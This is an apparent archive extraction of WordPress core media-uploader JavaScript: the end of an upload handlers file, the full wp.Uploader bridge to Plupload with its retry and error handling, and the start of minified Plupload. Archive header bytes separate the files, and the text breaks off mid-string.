		} else if ( target.is( 'button.button' ) ) { // Remember the last used image link url.
			c = e.target.className || '';
			c = c.match( /url([^ '"]+)/ );

			if ( c && c[1] ) {
				setUserSetting( 'urlbutton', c[1] );
				target.siblings( '.urlfield' ).val( target.data( 'link-url' ) );
			}
		} else if ( target.is( 'a.dismiss' ) ) {
			target.parents( '.media-item' ).fadeOut( 200, function() {
				$( this ).remove();
			} );
		} else if ( target.is( '.upload-flash-bypass a' ) || target.is( 'a.uploader-html' ) ) { // Switch uploader to html4.
			$( '#media-items, p.submit, span.big-file-warning' ).css( 'display', 'none' );
			switchUploader( 0 );
			e.preventDefault();
		} else if ( target.is( '.upload-html-bypass a' ) ) { // Switch uploader to multi-file.
			$( '#media-items, p.submit, span.big-file-warning' ).css( 'display', '' );
			switchUploader( 1 );
			e.preventDefault();
		} else if ( target.is( 'a.describe-toggle-on' ) ) { // Show.
			target.parent().addClass( 'open' );
			target.siblings( '.slidetoggle' ).fadeIn( 250, function() {
				var S = $( window ).scrollTop(),
					H = $( window ).height(),
					top = $( this ).offset().top,
					h = $( this ).height(),
					b,
					B;

				if ( H && top && h ) {
					b = top + h;
					B = S + H;

					if ( b > B ) {
						if ( b - B < top - S )
							window.scrollBy( 0, ( b - B ) + 10 );
						else
							window.scrollBy( 0, top - S - 40 );
					}
				}
			} );

			e.preventDefault();
		} else if ( target.is( 'a.describe-toggle-off' ) ) { // Hide.
			target.siblings( '.slidetoggle' ).fadeOut( 250, function() {
				target.parent().removeClass( 'open' );
			} );

			e.preventDefault();
		}
	});

	// Attempt to create image sub-sizes when an image was uploaded successfully
	// but the server responded with an HTTP 5xx error.
	tryAgain = function( up, error ) {
		var file = error.file;
		var times;
		var id;

		if ( ! error || ! error.responseHeaders ) {
			wpQueueError( pluploadL10n.http_error_image );
			return;
		}

		id = error.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i );

		if ( id && id[1] ) {
			id = id[1];
		} else {
			wpQueueError( pluploadL10n.http_error_image );
			return;
		}

		times = tryAgainCount[ file.id ];

		if ( times && times > 4 ) {
			/*
			 * The file may have been uploaded and attachment post created,
			 * but post-processing and resizing failed...
			 * Do a cleanup then tell the user to scale down the image and upload it again.
			 */
			$.ajax({
				type: 'post',
				url: ajaxurl,
				dataType: 'json',
				data: {
					action: 'media-create-image-subsizes',
					_wpnonce: wpUploaderInit.multipart_params._wpnonce,
					attachment_id: id,
					_wp_upload_failed_cleanup: true,
				}
			});

			if ( error.message && ( error.status < 500 || error.status >= 600 ) ) {
				wpQueueError( error.message );
			} else {
				wpQueueError( pluploadL10n.http_error_image );
			}

			return;
		}

		if ( ! times ) {
			tryAgainCount[ file.id ] = 1;
		} else {
			tryAgainCount[ file.id ] = ++times;
		}

		// Try to create the missing image sizes.
		$.ajax({
			type: 'post',
			url: ajaxurl,
			dataType: 'json',
			data: {
				action: 'media-create-image-subsizes',
				_wpnonce: wpUploaderInit.multipart_params._wpnonce,
				attachment_id: id,
				_legacy_support: 'true',
			}
		}).done( function( response ) {
			var message;

			if ( response.success ) {
				uploadSuccess( file, response.data.id );
			} else {
				if ( response.data && response.data.message ) {
					message = response.data.message;
				}

				wpQueueError( message || pluploadL10n.http_error_image );
			}
		}).fail( function( jqXHR ) {
			// If another HTTP 5xx error, try try again...
			if ( jqXHR.status >= 500 && jqXHR.status < 600 ) {
				tryAgain( up, error );
				return;
			}

			wpQueueError( pluploadL10n.http_error_image );
		});
	}

	// Init and set the uploader.
	uploader_init = function() {
		uploader = new plupload.Uploader( wpUploaderInit );

		$( '#image_resize' ).on( 'change', function() {
			var arg = $( this ).prop( 'checked' );

			setResize( arg );

			if ( arg )
				setUserSetting( 'upload_resize', '1' );
			else
				deleteUserSetting( 'upload_resize' );
		});

		uploader.bind( 'Init', function( up ) {
			var uploaddiv = $( '#plupload-upload-ui' );

			setResize( getUserSetting( 'upload_resize', false ) );

			if ( up.features.dragdrop && ! $( document.body ).hasClass( 'mobile' ) ) {
				uploaddiv.addClass( 'drag-drop' );

				$( '#drag-drop-area' ).on( 'dragover.wp-uploader', function() { // dragenter doesn't fire right :(
					uploaddiv.addClass( 'drag-over' );
				}).on( 'dragleave.wp-uploader, drop.wp-uploader', function() {
					uploaddiv.removeClass( 'drag-over' );
				});
			} else {
				uploaddiv.removeClass( 'drag-drop' );
				$( '#drag-drop-area' ).off( '.wp-uploader' );
			}

			if ( up.runtime === 'html4' ) {
				$( '.upload-flash-bypass' ).hide();
			}
		});

		uploader.bind( 'postinit', function( up ) {
			up.refresh();
		});

		uploader.init();

		uploader.bind( 'FilesAdded', function( up, files ) {
			$( '#media-upload-error' ).empty();
			uploadStart();

			plupload.each( files, function( file ) {
				if ( file.type === 'image/heic' && up.settings.heic_upload_error ) {
					// Show error but do not block uploading.
					wpQueueError( pluploadL10n.unsupported_image );
				} else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) {
					// Disallow uploading of WebP images if the server cannot edit them.
					wpQueueError( pluploadL10n.noneditable_image );
					up.removeFile( file );
					return;
				} else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) {
					// Disallow uploading of AVIF images if the server cannot edit them.
					wpQueueError( pluploadL10n.noneditable_image );
					up.removeFile( file );
					return;
				}

				fileQueued( file );
			});

			up.refresh();
			up.start();
		});

		uploader.bind( 'UploadFile', function( up, file ) {
			fileUploading( up, file );
		});

		uploader.bind( 'UploadProgress', function( up, file ) {
			uploadProgress( up, file );
		});

		uploader.bind( 'Error', function( up, error ) {
			var isImage = error.file && error.file.type && error.file.type.indexOf( 'image/' ) === 0;
			var status  = error && error.status;

			// If the file is an image and the error is HTTP 5xx try to create sub-sizes again.
			if ( isImage && status >= 500 && status < 600 ) {
				tryAgain( up, error );
				return;
			}

			uploadError( error.file, error.code, error.message, up );
			up.refresh();
		});

		uploader.bind( 'FileUploaded', function( up, file, response ) {
			uploadSuccess( file, response.response );
		});

		uploader.bind( 'UploadComplete', function() {
			uploadComplete();
		});
	};

	if ( typeof( wpUploaderInit ) == 'object' ) {
		uploader_init();
	}

});
PKYd[_�$�AAAAwp-plupload.jsnu�[���/* global pluploadL10n, plupload, _wpPluploadSettings */

/**
 * @namespace wp
 */
window.wp = window.wp || {};

( function( exports, $ ) {
	var Uploader;

	if ( typeof _wpPluploadSettings === 'undefined' ) {
		return;
	}

	/**
	 * A WordPress uploader.
	 *
	 * The Plupload library provides cross-browser uploader UI integration.
	 * This object bridges the Plupload API to integrate uploads into the
	 * WordPress back end and the WordPress media experience.
	 *
	 * @class
	 * @memberOf wp
	 * @alias wp.Uploader
	 *
	 * @param {object} options           The options passed to the new plupload instance.
	 * @param {object} options.container The id of uploader container.
	 * @param {object} options.browser   The id of button to trigger the file select.
	 * @param {object} options.dropzone  The id of file drop target.
	 * @param {object} options.plupload  An object of parameters to pass to the plupload instance.
	 * @param {object} options.params    An object of parameters to pass to $_POST when uploading the file.
	 *                                   Extends this.plupload.multipart_params under the hood.
	 */
	Uploader = function( options ) {
		var self = this,
			isIE, // Not used, back-compat.
			elements = {
				container: 'container',
				browser:   'browse_button',
				dropzone:  'drop_element'
			},
			tryAgainCount = {},
			tryAgain,
			key,
			error,
			fileUploaded;

		this.supports = {
			upload: Uploader.browser.supported
		};

		this.supported = this.supports.upload;

		if ( ! this.supported ) {
			return;
		}

		// Arguments to send to pluplad.Uploader().
		// Use deep extend to ensure that multipart_params and other objects are cloned.
		this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults );
		this.container = document.body; // Set default container.

		/*
		 * Extend the instance with options.
		 *
		 * Use deep extend to allow options.plupload to override individual
		 * default plupload keys.
		 */
		$.extend( true, this, options );

		// Proxy all methods so this always refers to the current instance.
		for ( key in this ) {
			if ( typeof this[ key ] === 'function' ) {
				this[ key ] = $.proxy( this[ key ], this );
			}
		}

		// Ensure all elements are jQuery elements and have id attributes,
		// then set the proper plupload arguments to the ids.
		for ( key in elements ) {
			if ( ! this[ key ] ) {
				continue;
			}

			this[ key ] = $( this[ key ] ).first();

			if ( ! this[ key ].length ) {
				delete this[ key ];
				continue;
			}

			if ( ! this[ key ].prop('id') ) {
				this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ );
			}

			this.plupload[ elements[ key ] ] = this[ key ].prop('id');
		}

		// If the uploader has neither a browse button nor a dropzone, bail.
		if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) {
			return;
		}

		// Initialize the plupload instance.
		this.uploader = new plupload.Uploader( this.plupload );
		delete this.plupload;

		// Set default params and remove this.params alias.
		this.param( this.params || {} );
		delete this.params;

		/**
		 * Attempt to create image sub-sizes when an image was uploaded successfully
		 * but the server responded with HTTP 5xx error.
		 *
		 * @since 5.3.0
		 *
		 * @param {string}        message Error message.
		 * @param {object}        data    Error data from Plupload.
		 * @param {plupload.File} file    File that was uploaded.
		 */
		tryAgain = function( message, data, file ) {
			var times, id;

			if ( ! data || ! data.responseHeaders ) {
				error( pluploadL10n.http_error_image, data, file, 'no-retry' );
				return;
			}

			id = data.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i );

			if ( id && id[1] ) {
				id = id[1];
			} else {
				error( pluploadL10n.http_error_image, data, file, 'no-retry' );
				return;
			}

			times = tryAgainCount[ file.id ];

			if ( times && times > 4 ) {
				/*
				 * The file may have been uploaded and attachment post created,
				 * but post-processing and resizing failed...
				 * Do a cleanup then tell the user to scale down the image and upload it again.
				 */
				$.ajax({
					type: 'post',
					url: ajaxurl,
					dataType: 'json',
					data: {
						action: 'media-create-image-subsizes',
						_wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
						attachment_id: id,
						_wp_upload_failed_cleanup: true,
					}
				});

				error( message, data, file, 'no-retry' );
				return;
			}

			if ( ! times ) {
				tryAgainCount[ file.id ] = 1;
			} else {
				tryAgainCount[ file.id ] = ++times;
			}

			// Another request to try to create the missing image sub-sizes.
			$.ajax({
				type: 'post',
				url: ajaxurl,
				dataType: 'json',
				data: {
					action: 'media-create-image-subsizes',
					_wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
					attachment_id: id,
				}
			}).done( function( response ) {
				if ( response.success ) {
					fileUploaded( self.uploader, file, response );
				} else {
					if ( response.data && response.data.message ) {
						message = response.data.message;
					}

					error( message, data, file, 'no-retry' );
				}
			}).fail( function( jqXHR ) {
				// If another HTTP 5xx error, try try again...
				if ( jqXHR.status >= 500 && jqXHR.status < 600 ) {
					tryAgain( message, data, file );
					return;
				}

				error( message, data, file, 'no-retry' );
			});
		}

		/**
		 * Custom error callback.
		 *
		 * Add a new error to the errors collection, so other modules can track
		 * and display errors. @see wp.Uploader.errors.
		 *
		 * @param {string}        message Error message.
		 * @param {object}        data    Error data from Plupload.
		 * @param {plupload.File} file    File that was uploaded.
		 * @param {string}        retry   Whether to try again to create image sub-sizes. Passing 'no-retry' will prevent it.
		 */
		error = function( message, data, file, retry ) {
			var isImage = file.type && file.type.indexOf( 'image/' ) === 0,
				status = data && data.status;

			// If the file is an image and the error is HTTP 5xx try to create sub-sizes again.
			if ( retry !== 'no-retry' && isImage && status >= 500 && status < 600 ) {
				tryAgain( message, data, file );
				return;
			}

			if ( file.attachment ) {
				file.attachment.destroy();
			}

			Uploader.errors.unshift({
				message: message || pluploadL10n.default_error,
				data:    data,
				file:    file
			});

			self.error( message, data, file );
		};

		/**
		 * After a file is successfully uploaded, update its model.
		 *
		 * @param {plupload.Uploader} up       Uploader instance.
		 * @param {plupload.File}     file     File that was uploaded.
		 * @param {Object}            response Object with response properties.
		 */
		fileUploaded = function( up, file, response ) {
			var complete;

			// Remove the "uploading" UI elements.
			_.each( ['file','loaded','size','percent'], function( key ) {
				file.attachment.unset( key );
			} );

			file.attachment.set( _.extend( response.data, { uploading: false } ) );

			wp.media.model.Attachment.get( response.data.id, file.attachment );

			complete = Uploader.queue.all( function( attachment ) {
				return ! attachment.get( 'uploading' );
			});

			if ( complete ) {
				Uploader.queue.reset();
			}

			self.success( file.attachment );
		}

		/**
		 * After the Uploader has been initialized, initialize some behaviors for the dropzone.
		 *
		 * @param {plupload.Uploader} uploader Uploader instance.
		 */
		this.uploader.bind( 'init', function( uploader ) {
			var timer, active, dragdrop,
				dropzone = self.dropzone;

			dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile;

			// Generate drag/drop helper classes.
			if ( ! dropzone ) {
				return;
			}

			dropzone.toggleClass( 'supports-drag-drop', !! dragdrop );

			if ( ! dragdrop ) {
				return dropzone.unbind('.wp-uploader');
			}

			// 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'.
			dropzone.on( 'dragover.wp-uploader', function() {
				if ( timer ) {
					clearTimeout( timer );
				}

				if ( active ) {
					return;
				}

				dropzone.trigger('dropzone:enter').addClass('drag-over');
				active = true;
			});

			dropzone.on('dragleave.wp-uploader, drop.wp-uploader', function() {
				/*
				 * Using an instant timer prevents the drag-over class
				 * from being quickly removed and re-added when elements
				 * inside the dropzone are repositioned.
				 *
				 * @see https://core.trac.wordpress.org/ticket/21705
				 */
				timer = setTimeout( function() {
					active = false;
					dropzone.trigger('dropzone:leave').removeClass('drag-over');
				}, 0 );
			});

			self.ready = true;
			$(self).trigger( 'uploader:ready' );
		});

		this.uploader.bind( 'postinit', function( up ) {
			up.refresh();
			self.init();
		});

		this.uploader.init();

		if ( this.browser ) {
			this.browser.on( 'mouseenter', this.refresh );
		} else {
			this.uploader.disableBrowse( true );
		}

		$( self ).on( 'uploader:ready', function() {
			$( '.moxie-shim-html5 input[type="file"]' )
				.attr( {
					tabIndex:      '-1',
					'aria-hidden': 'true'
				} );
		} );

		/**
		 * After files were filtered and added to the queue, create a model for each.
		 *
		 * @param {plupload.Uploader} up    Uploader instance.
		 * @param {Array}             files Array of file objects that were added to queue by the user.
		 */
		this.uploader.bind( 'FilesAdded', function( up, files ) {
			_.each( files, function( file ) {
				var attributes, image;

				// Ignore failed uploads.
				if ( plupload.FAILED === file.status ) {
					return;
				}

				if ( file.type === 'image/heic' && up.settings.heic_upload_error ) {
					// Show error but do not block uploading.
					Uploader.errors.unshift({
						message: pluploadL10n.unsupported_image,
						data:    {},
						file:    file
					});
				} else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) {
					// Disallow uploading of WebP images if the server cannot edit them.
					error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
					up.removeFile( file );
					return;
				} else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) {
					// Disallow uploading of AVIF images if the server cannot edit them.
					error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
					up.removeFile( file );
					return;
				}

				// Generate attributes for a new `Attachment` model.
				attributes = _.extend({
					file:      file,
					uploading: true,
					date:      new Date(),
					filename:  file.name,
					menuOrder: 0,
					uploadedTo: wp.media.model.settings.post.id
				}, _.pick( file, 'loaded', 'size', 'percent' ) );

				// Handle early mime type scanning for images.
				image = /(?:jpe?g|png|gif)$/i.exec( file.name );

				// For images set the model's type and subtype attributes.
				if ( image ) {
					attributes.type = 'image';

					// `jpeg`, `png` and `gif` are valid subtypes.
					// `jpg` is not, so map it to `jpeg`.
					attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0];
				}

				// Create a model for the attachment, and add it to the Upload queue collection
				// so listeners to the upload queue can track and display upload progress.
				file.attachment = wp.media.model.Attachment.create( attributes );
				Uploader.queue.add( file.attachment );

				self.added( file.attachment );
			});

			up.refresh();
			up.start();
		});

		this.uploader.bind( 'UploadProgress', function( up, file ) {
			file.attachment.set( _.pick( file, 'loaded', 'percent' ) );
			self.progress( file.attachment );
		});

		/**
		 * After a file is successfully uploaded, update its model.
		 *
		 * @param {plupload.Uploader} up       Uploader instance.
		 * @param {plupload.File}     file     File that was uploaded.
		 * @param {Object}            response Object with response properties.
		 * @return {mixed}
		 */
		this.uploader.bind( 'FileUploaded', function( up, file, response ) {

			try {
				response = JSON.parse( response.response );
			} catch ( e ) {
				return error( pluploadL10n.default_error, e, file );
			}

			if ( ! _.isObject( response ) || _.isUndefined( response.success ) ) {
				return error( pluploadL10n.default_error, null, file );
			} else if ( ! response.success ) {
				return error( response.data && response.data.message, response.data, file );
			}

			// Success. Update the UI with the new attachment.
			fileUploaded( up, file, response );
		});

		/**
		 * When plupload surfaces an error, send it to the error handler.
		 *
		 * @param {plupload.Uploader} up            Uploader instance.
		 * @param {Object}            pluploadError Contains code, message and sometimes file and other details.
		 */
		this.uploader.bind( 'Error', function( up, pluploadError ) {
			var message = pluploadL10n.default_error,
				key;

			// Check for plupload errors.
			for ( key in Uploader.errorMap ) {
				if ( pluploadError.code === plupload[ key ] ) {
					message = Uploader.errorMap[ key ];

					if ( typeof message === 'function' ) {
						message = message( pluploadError.file, pluploadError );
					}

					break;
				}
			}

			error( message, pluploadError, pluploadError.file );
			up.refresh();
		});

	};

	// Adds the 'defaults' and 'browser' properties.
	$.extend( Uploader, _wpPluploadSettings );

	Uploader.uuid = 0;

	// Map Plupload error codes to user friendly error messages.
	Uploader.errorMap = {
		'FAILED':                 pluploadL10n.upload_failed,
		'FILE_EXTENSION_ERROR':   pluploadL10n.invalid_filetype,
		'IMAGE_FORMAT_ERROR':     pluploadL10n.not_an_image,
		'IMAGE_MEMORY_ERROR':     pluploadL10n.image_memory_exceeded,
		'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded,
		'GENERIC_ERROR':          pluploadL10n.upload_failed,
		'IO_ERROR':               pluploadL10n.io_error,
		'SECURITY_ERROR':         pluploadL10n.security_error,

		'FILE_SIZE_ERROR': function( file ) {
			return pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name );
		},

		'HTTP_ERROR': function( file ) {
			if ( file.type && file.type.indexOf( 'image/' ) === 0 ) {
				return pluploadL10n.http_error_image;
			}

			return pluploadL10n.http_error;
		},
	};

	$.extend( Uploader.prototype, /** @lends wp.Uploader.prototype */{
		/**
		 * Acts as a shortcut to extending the uploader's multipart_params object.
		 *
		 * param( key )
		 *    Returns the value of the key.
		 *
		 * param( key, value )
		 *    Sets the value of a key.
		 *
		 * param( map )
		 *    Sets values for a map of data.
		 */
		param: function( key, value ) {
			if ( arguments.length === 1 && typeof key === 'string' ) {
				return this.uploader.settings.multipart_params[ key ];
			}

			if ( arguments.length > 1 ) {
				this.uploader.settings.multipart_params[ key ] = value;
			} else {
				$.extend( this.uploader.settings.multipart_params, key );
			}
		},

		/**
		 * Make a few internal event callbacks available on the wp.Uploader object
		 * to change the Uploader internals if absolutely necessary.
		 */
		init:     function() {},
		error:    function() {},
		success:  function() {},
		added:    function() {},
		progress: function() {},
		complete: function() {},
		refresh:  function() {
			var node, attached, container, id;

			if ( this.browser ) {
				node = this.browser[0];

				// Check if the browser node is in the DOM.
				while ( node ) {
					if ( node === document.body ) {
						attached = true;
						break;
					}
					node = node.parentNode;
				}

				/*
				 * If the browser node is not attached to the DOM,
				 * use a temporary container to house it, as the browser button shims
				 * require the button to exist in the DOM at all times.
				 */
				if ( ! attached ) {
					id = 'wp-uploader-browser-' + this.uploader.id;

					container = $( '#' + id );
					if ( ! container.length ) {
						container = $('<div class="wp-uploader-browser" />').css({
							position: 'fixed',
							top: '-1000px',
							left: '-1000px',
							height: 0,
							width: 0
						}).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body');
					}

					container.append( this.browser );
				}
			}

			this.uploader.refresh();
		}
	});

	// Create a collection of attachments in the upload queue,
	// so that other modules can track and display upload progress.
	Uploader.queue = new wp.media.model.Attachments( [], { query: false });

	// Create a collection to collect errors incurred while attempting upload.
	Uploader.errors = new Backbone.Collection();

	exports.Uploader = Uploader;
})( wp, jQuery );
PKYd[��<�<plupload.min.jsnu�[���!function(e,I,S){var T=e.setTimeout,D={};function w(e){var t=e.required_features,r={};function i(e,t,i){var n={chunks:"slice_blob",jpgresize:"send_binary_string",pngresize:"send_binary_string",progress:"report_upload_progress",multi_selection:"select_multiple",dragdrop:"drag_and_drop",drop_element:"drag_and_drop",headers:"send_custom_headers",urlstream_upload:"send_binary_string",canSendBinary:"send_binary",triggerDialog:"summon_file_dialog"};n[e]?r[n[e]]=t:i||(r[e]=t)}return"string"==typeof t?F.each(t.split(/\s*,\s*/),function(e){i(e,!0)}):"object"==typeof t?F.each(t,function(e,t){i(t,e)}):!0===t&&(0<e.chunk_size&&(r.slice_blob=!0),!e.resize.enabled&&e.multipart||(r.send_binary_string=!0),F.each(e,function(e,t){i(t,!!e,!0)})),e.runtimes="html5,html4",r}var t,F={VERSION:"2.1.9",STOPPED:1,STARTED:2,QUEUED:1,UPLOADING:2,FAILED:4,DONE:5,GENERIC_ERROR:-100,HTTP_ERROR:-200,IO_ERROR:-300,SECURITY_ERROR:-400,INIT_ERROR:-500,FILE_SIZE_ERROR:-600,FILE_EXTENSION_ERROR:-601,FILE_DUPLICATE_ERROR:-602,IMAGE_FORMAT_ERROR:-700,MEMORY_ERROR:-701,IMAGE_DIMENSIONS_ERROR:-702,mimeTypes:I.mimes,ua:I.ua,typeOf:I.typeOf,extend:I.extend,guid:I.guid,getAll:function(e){for(var t,i=[],n=(e="array"!==F.typeOf(e)?[e]:e).length;n--;)(t=F.get(e[n]))&&i.push(t);return i.length?i:null},get:I.get,each:I.each,getPos:I.getPos,getSize:I.getSize,xmlEncode:function(e){var t={"<":"lt",">":"gt","&":"amp",'"':"quot","'":"#39"};return e&&(""+e).replace(/[<>&\"\']/g,function(e){return t[e]?"&"+t[e]+";":e})},toArray:I.toArray,inArray:I.inArray,addI18n:I.addI18n,translate:I.translate,isEmptyObj:I.isEmptyObj,hasClass:I.hasClass,addClass:I.addClass,removeClass:I.removeClass,getStyle:I.getStyle,addEvent:I.addEvent,removeEvent:I.removeEvent,removeAllEvents:I.removeAllEvents,cleanName:function(e){for(var t=[/[\300-\306]/g,"A",/[\340-\346]/g,"a",/\307/g,"C",/\347/g,"c",/[\310-\313]/g,"E",/[\350-\353]/g,"e",/[\314-\317]/g,"I",/[\354-\357]/g,"i",/\321/g,"N",/\361/g,"n",/[\322-\330]/g,"O",/[\362-\370]/g,"o",/[\331-\334]/g,"U",/[\371-\374]/g,"u"],i=0;i<t.length;i+=2)e=e.replace(t[i],t[i+1]);return e=(e=e.replace(/\s+/g,"_")).replace(/[^a-z0-9_\-\.]+/gi,"")},buildUrl:function(e,t){var i="";return F.each(t,function(e,t){i+=(i?"&":"")+encodeURIComponent(t)+"="+encodeURIComponent(e)}),i&&(e+=(0<e.indexOf("?")?"&":"?")+i),e},formatSize:function(e){var t;return e===S||/\D/.test(e)?F.translate("N/A"):(t=Math.pow(1024,4))<e?i(e/t,1)+" "+F.translate("tb"):e>(t/=1024)?i(e/t,1)+" "+F.translate("gb"):e>(t/=1024)?i(e/t,1)+" "+F.translate("mb"):1024<e?Math.round(e/1024)+" "+F.translate("kb"):e+" "+F.translate("b");function i(e,t){return Math.round(e*Math.pow(10,t))/Math.pow(10,t)}},parseSize:I.parseSizeStr,predictRuntime:function(e,t){var i=new F.Uploader(e),t=I.Runtime.thatCan(i.getOption().required_features,t||e.runtimes);return i.destroy(),t},addFileFilter:function(e,t){D[e]=t}};F.addFileFilter("mime_types",function(e,t,i){e.length&&!e.regexp.test(t.name)?(this.trigger("Error",{code:F.FILE_EXTENSION_ERROR,message:F.translate("File extension error."),file:t}),i(!1)):i(!0)}),F.addFileFilter("max_file_size",function(e,t,i){e=F.parseSize(e),void 0!==t.size&&e&&t.size>e?(this.trigger("Error",{code:F.FILE_SIZE_ERROR,message:F.translate("File size error."),file:t}),i(!1)):i(!0)}),F.addFileFilter("prevent_duplicates",function(e,t,i){if(e)for(var n=this.files.length;n--;)if(t.name===this.files[n].name&&t.size===this.files[n].size)return this.trigger("Error",{code:F.FILE_DUPLICATE_ERROR,message:F.translate("Duplicate file error."),file:t}),void i(!1);i(!0)}),F.Uploader=function(e){var u,i,n,p,t=F.guid(),l=[],h={},o=[],d=[],c=!1;function r(){var e,t,i=0;if(this.state==F.STARTED){for(t=0;t<l.length;t++)e||l[t].status!=F.QUEUED?i++:(e=l[t],this.trigger("BeforeUpload",e)&&(e.status=F.UPLOADING,this.trigger("UploadFile",e)));i==l.length&&(this.state!==F.STOPPED&&(this.state=F.STOPPED,this.trigger("StateChanged")),this.trigger("UploadComplete",l))}}function s(e){e.percent=0<e.size?Math.ceil(e.loaded/e.size*100):100,a()}function a(){var e,t;for(n.reset(),e=0;e<l.length;e++)(t=l[e]).size!==S?(n.size+=t.origSize,n.loaded+=t.loaded*t.origSize/t.size):n.size=S,t.status==F.DONE?n.uploaded++:t.status==F.FAILED?n.failed++:n.queued++;n.size===S?n.percent=0<l.length?Math.ceil(n.uploaded/l.length*100):0:(n.bytesPerSec=Math.ceil(n.loaded/((+new Date-i||1)/1e3)),n.percent=0<n.size?Math.ceil(n.loaded/n.size*100):0)}function f(){var e=o[0]||d[0];return!!e&&e.getRuntime().uid}function g(n,e){var r=this,s=0,t=[],a={runtime_order:n.runtimes,required_caps:n.required_features,preferred_caps:h};F.each(n.runtimes.split(/\s*,\s*/),function(e){n[e]&&(a[e]=n[e])}),n.browse_button&&F.each(n.browse_button,function(i){t.push(function(t){var e=new I.FileInput(F.extend({},a,{accept:n.filters.mime_types,name:n.file_data_name,multiple:n.multi_selection,container:n.container,browse_button:i}));e.onready=function(){var e=I.Runtime.getInfo(this.ruid);I.extend(r.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),multi_selection:e.can("select_multiple")}),s++,o.push(this),t()},e.onchange=function(){r.addFile(this.files)},e.bind("mouseenter mouseleave mousedown mouseup",function(e){c||(n.browse_button_hover&&("mouseenter"===e.type?I.addClass(i,n.browse_button_hover):"mouseleave"===e.type&&I.removeClass(i,n.browse_button_hover)),n.browse_button_active&&("mousedown"===e.type?I.addClass(i,n.browse_button_active):"mouseup"===e.type&&I.removeClass(i,n.browse_button_active)))}),e.bind("mousedown",function(){r.trigger("Browse")}),e.bind("error runtimeerror",function(){e=null,t()}),e.init()})}),n.drop_element&&F.each(n.drop_element,function(i){t.push(function(t){var e=new I.FileDrop(F.extend({},a,{drop_zone:i}));e.onready=function(){var e=I.Runtime.getInfo(this.ruid);I.extend(r.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),dragdrop:e.can("drag_and_drop")}),s++,d.push(this),t()},e.ondrop=function(){r.addFile(this.files)},e.bind("error runtimeerror",function(){e=null,t()}),e.init()})}),I.inSeries(t,function(){"function"==typeof e&&e(s)})}function _(e,t,i){var a=this,o=!1;function n(e,t,i){var n,r,s=u[e];switch(e){case"max_file_size":"max_file_size"===e&&(u.max_file_size=u.filters.max_file_size=t);break;case"chunk_size":(t=F.parseSize(t))&&(u[e]=t,u.send_file_name=!0);break;case"multipart":(u[e]=t)||(u.send_file_name=!0);break;case"unique_names":(u[e]=t)&&(u.send_file_name=!0);break;case"filters":"array"===F.typeOf(t)&&(t={mime_types:t}),i?F.extend(u.filters,t):u.filters=t,t.mime_types&&(u.filters.mime_types.regexp=(n=u.filters.mime_types,r=[],F.each(n,function(e){F.each(e.extensions.split(/,/),function(e){/^\s*\*\s*$/.test(e)?r.push("\\.*"):r.push("\\."+e.replace(new RegExp("["+"/^$.*+?|()[]{}\\".replace(/./g,"\\$&")+"]","g"),"\\$&"))})}),new RegExp("("+r.join("|")+")$","i")));break;case"resize":i?F.extend(u.resize,t,{enabled:!0}):u.resize=t;break;case"prevent_duplicates":u.prevent_duplicates=u.filters.prevent_duplicates=!!t;break;case"container":case"browse_button":case"drop_element":t="container"===e?F.get(t):F.getAll(t);case"runtimes":case"multi_selection":u[e]=t,i||(o=!0);break;default:u[e]=t}i||a.trigger("OptionChanged",e,t,s)}"object"==typeof e?F.each(e,function(e,t){n(t,e,i)}):n(e,t,i),i?(u.required_features=w(F.extend({},u)),h=w(F.extend({},u,{required_features:!0}))):o&&(a.trigger("Destroy"),g.call(a,u,function(e){e?(a.runtime=I.Runtime.getInfo(f()).type,a.trigger("Init",{runtime:a.runtime}),a.trigger("PostInit")):a.trigger("Error",{code:F.INIT_ERROR,message:F.translate("Init error.")})}))}function m(e,t){var i;e.settings.unique_names&&(e="part",(i=t.name.match(/\.([^.]+)$/))&&(e=i[1]),t.target_name=t.id+"."+e)}function b(r,s){var a,o=r.settings.url,u=r.settings.chunk_size,l=r.settings.max_retries,d=r.features,c=0;function f(){0<l--?T(g,1e3):(s.loaded=c,r.trigger("Error",{code:F.HTTP_ERROR,message:F.translate("HTTP Error."),file:s,response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()}))}function g(){var e,i,t,n={};s.status===F.UPLOADING&&r.state!==F.STOPPED&&(r.settings.send_file_name&&(n.name=s.target_name||s.name),e=u&&d.chunks&&a.size>u?(t=Math.min(u,a.size-c),a.slice(c,c+t)):(t=a.size,a),u&&d.chunks&&(r.settings.send_chunk_number?(n.chunk=Math.ceil(c/u),n.chunks=Math.ceil(a.size/u)):(n.offset=c,n.total=a.size)),(p=new I.XMLHttpRequest).upload&&(p.upload.onprogress=function(e){s.loaded=Math.min(s.size,c+e.loaded),r.trigger("UploadProgress",s)}),p.onload=function(){400<=p.status?f():(l=r.settings.max_retries,t<a.size?(e.destroy(),c+=t,s.loaded=Math.min(c,a.size),r.trigger("ChunkUploaded",s,{offset:s.loaded,total:a.size,response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()}),"Android 